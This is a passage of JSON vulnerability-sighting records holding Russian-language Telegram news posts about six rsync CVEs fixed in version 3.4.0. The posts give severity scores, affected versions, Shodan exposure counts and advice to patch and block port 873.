\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "7db8e947-fd18-4680-96b5-d840fb7354d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 